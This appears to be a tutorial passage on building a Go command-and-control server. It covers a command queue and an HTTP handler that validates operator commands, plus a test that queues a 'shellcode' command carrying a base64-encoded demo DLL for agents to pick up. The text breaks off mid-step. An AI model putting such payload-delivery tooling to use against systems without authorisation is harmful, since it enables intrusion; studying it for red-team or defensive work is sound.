- We'll now implement the all important queue

First inside of command_api.go, we will create our Queue, which is a struct

```
// CommandQueue stores commands ready for agent pickup
type CommandQueue struct {
    PendingCommands []models.CommandClient
    mu              sync.Mutex
}
```

2 fields

- Slice of models.CommandClient, great for queueing (explain why)
- mutex to ensure thread safety

Now since we only ever want a single queue, no need for example for a constructor, rather we can just instantiate a single Global instance right below it

```
// AgentCommands is Global command queue
var AgentCommands = CommandQueue{
    PendingCommands: make([]models.CommandClient, 0),
}
```

- Now, we want to, in the command handler, add our command to the queue
- But instead of doing so directly we'll encapsulate logic in own function

```
// addCommand adds a validated command to the queue
func (cq *CommandQueue) addCommand(command models.CommandClient) {
    cq.mu.Lock()
    defer cq.mu.Unlock()

    cq.PendingCommands = append(cq.PendingCommands, command)
    log.Printf("QUEUED: %s", command.Command)
}
```

- Extremely simple, we use append() to add the models.CommandClient struct containing command keyword, validated + processed arguments

- So now back in command handler let's simply call this function using `AgentCommands.addCommand(cmdClient)`

```
func commandHandler(w http.ResponseWriter, r *http.Request) {

    // Instantiate custom type to receive command from client
    var cmdClient models.CommandClient

    // The first thing we need to do is unmarshall the request body into
the custom type
    if err := json.NewDecoder(r.Body).Decode(&cmdClient); err != nil {
        log.Printf("ERROR: Failed to decode JSON: %v", err)
        w.WriteHeader(http.StatusBadRequest)
        json.NewEncoder(w).Encode("error decoding JSON")
        return
    }

    // Visually confirm we get the command we expected
    var commandReceived = fmt.Sprintf("Received command: %s",
cmdClient.Command)
    log.Printf(commandReceived)

    // Check if command exists
    cmdConfig, exists := validCommands[cmdClient.Command]
    if !exists {
        var commandInvalid = fmt.Sprintf("ERROR: Unknown command: %s",
cmdClient.Command)
        log.Printf(commandInvalid)
        w.WriteHeader(http.StatusBadRequest)
        json.NewEncoder(w).Encode(commandInvalid)
        return
    }

    // Validate arguments
    if err := cmdConfig.Validator(cmdClient.Arguments); err != nil {
        var commandInvalid = fmt.Sprintf("ERROR: Validation failed for
'%s': %v", cmdClient.Command, err)
        log.Printf(commandInvalid)
        w.WriteHeader(http.StatusBadRequest)
        json.NewEncoder(w).Encode(commandInvalid)
```

```
        return
    }

    // Process arguments (e.g., load file and convert to base64)
    processedArgs, err := cmdConfig.Processor(cmdClient.Arguments)
    if err != nil {
        var commandInvalid = fmt.Sprintf("ERROR: Processing failed for
'%s': %v", cmdClient.Command, err)
        log.Printf(commandInvalid)
        w.WriteHeader(http.StatusBadRequest)
        json.NewEncoder(w).Encode(commandInvalid)
        return

    }

    // Update command with processed arguments
    cmdClient.Arguments = processedArgs
    log.Printf("Processed command arguments: %s", cmdClient.Command)

    // Queue the validated and processed command
    AgentCommands.addCommand(cmdClient)

    // Confirm on the client side command was received
    w.WriteHeader(http.StatusOK)
    json.NewEncoder(w).Encode(commandReceived)

}
```

now let's test it

```
❯ curl -X POST http://localhost:8080/command \
  -d '{
    "command": "shellcode",
    "data": {
      "file_path": "./payloads/calc.dll",
      "export_name": "LaunchCalc"
    }
  }'
"Received command: shellcode"
```

```
❯ go run ./cmd/server
2025/11/06 14:49:17 Starting Control API on :8080
2025/11/06 14:49:17 Starting  server on 0.0.0.0:8443
2025/11/06 14:49:22 Received command: shellcode
2025/11/06 14:49:22 Validation passed: file_path=./payloads/calc.dll,
export_name=LaunchCalc
2025/11/06 14:49:22 Processed file: ./payloads/calc.dll (111493 bytes) ->
base64 (148660 chars)
2025/11/06 14:49:22 Processed command arguments: shellcode
2025/11/06 14:49:22 QUEUED: shellcode
```

We can see it's queued - GREAT!

OK, so now it's in queue, but of course we are not yet done on the server side

Now we need to add logic so that when agent checks in our server checks

- Is there something in queue?
- If no - say no
- If yes - retrieve it from queue, remove it from queue, respond to agent with

COPY CODE TO FOLDER